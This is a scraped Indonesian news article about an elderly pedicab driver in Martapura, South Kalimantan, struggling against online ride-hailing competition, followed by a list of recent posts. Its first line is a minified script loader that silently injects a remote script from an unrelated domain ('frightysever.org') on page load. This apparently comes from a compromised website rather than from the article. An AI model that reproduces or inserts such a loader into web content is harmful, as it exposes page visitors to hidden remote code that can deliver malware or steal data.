(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Keteguhan Yusri, Kakek Penarik Becak di Martapura yang Tak Menyerah Dihimpit Transportasi Online


KANALKALIMANTAN.COM, MARTAPURA– Akses era digital yang bisa dikendalikan melalui gawai atau smart phone, membuat perubahan banyak hal. Begitu juga soal transportasi. Keberadaan transportasi berbasis online seperti Gojek, Gocar, maupun Grab, membuat keberadaan becak bermotor maupun yang dikayuh manual menjadi jadul!

Namun, di tengah himpitan itu, moda transportasi tradisional tersebut masih tetap bertahan. Meskipun keberadaannya semakin tersudut, dan berkurang.

Keberadaan tukang becak di Kota Intan Martapura, Kabupaten Banjar, masih bisa ditemui sebagai kendaraan umum yang sering digunakan masyarakat untuk bepergian dalam jarak dekat.

Yusri (67) adalah salah seorang tukang becak di daerah Martapura. Ia menggeluti pekerjaannya sejak 14 tahun lalu. Trayek kayuhan Yusri di sekitaran Kampung Jawa Martapura sampai dengan Pasar Bauntung Batuah. Saat lelah atau menunggu penumpang, dia biasa memarkirkan becaknya di ruas jalan A. Yani.

 

Baca juga : Terkait LHP BPK, Wabup Kapuas Minta Perangkat Daerah Bertanggung Jawab

Yusri menceritakan penghasilan sebagai tukang becak sangatlah tidak menentu. Gempuran transportasi online membuat jasanya makin sedikit yang melirik. Pria asal Kelayan Banjarmasin tersebut mengakui era kejayaan becak sudah habis.

“Kendaraan sudah banyak jadi becak seperti ini tidak laku lagi. Hari ini saja sepi Mba, dari jam 8 pagi sampe siang ini belum ada penumpang,” kata Yusri ditemui Kanalkalimantan.com, saat sedang mangkal di lokasi.

Dulu dalam sehari biasanya, Yusri bisa menghasilkan Rp 50-60 ribu dari hasil narik becak. Tapi setelah adanya ojek daring, Yusri hanya dapat narik satu atau dua kali saja per hari, dan hanya menghasilnya pundi Rp 10 ribu saja.

Meskipun sepi penumpang, Yusri tidak mematok harga tinggi.

“Kalo sekitaran sini saja, Rp 7 ribu. Ke pasar Rp 10 ribu. Kadang-kadang ada yang jauh ke Banjarbaru bisa dikasih Rp 20 ribu, itu juga sama langganan,” ujar Yusri.

 

Baca juga : Insiden Kecelakaan Armada Damkar di Banjarmasin, Begini Pengamat Kebijakan Publik

Beberapa becak lain dapat ditemukan di ruas jalanan A. Yani, Pasar Bauntung Bantuah dan banyak tempat lainnya. Beberapa becak juga sudah berganti ke motor di belakangnya yaitu ‘bentor’.
Lalu, apakah tak terpikir untuk pindah pekerjaan lain?

“Saya juga sudah tua, untuk kerja yang lain rasanya sudah nggak kuat badan. Istri meninggal dan anak juga tidak ada, jadi ya dicukup-cukup kan saja. Kalau ada tanggungan lain penghasilan dari becak ini nggak akan cukup, kadang juga saya makan cuma sekali sehari saja,” ucap lirih Yusri.

Ia berharap pemerintah bisa melakukan program seperti memodifikasi atau mempercantik kondisi angkutan ramah lingkungan ini agar tetap terjaga untuk menarik minat penumpang.

“Saya di sini kerja yang baik dan halal, alangkah baiknya pemerintah bisa mendukung kami para pekerja angkutan umum tradisional. Juga supaya eksistensi becak tetap ada dan Saya serta bapak-bapak penarik becak lainnya bisa tetap mengais rezeki dari kendaraan roda tiga ini,” tutup Yusri berharap.

Meski mengeluh akan nasib penarik becak seperti dirinya, namun Yusri yakin Allah telah menentukan rezeki seluruh hamba-Nya. Tak lupa ia juga berupaya mempertahankan keberadaan angkutan ramah lingkungan ini agar tetap terjaga dan menarik minat penumpang. (kanalkalimantan.com/Wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

4 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

5 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

6 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

8 jam ago

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

1 hari ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

1 hari ago

This website uses cookies.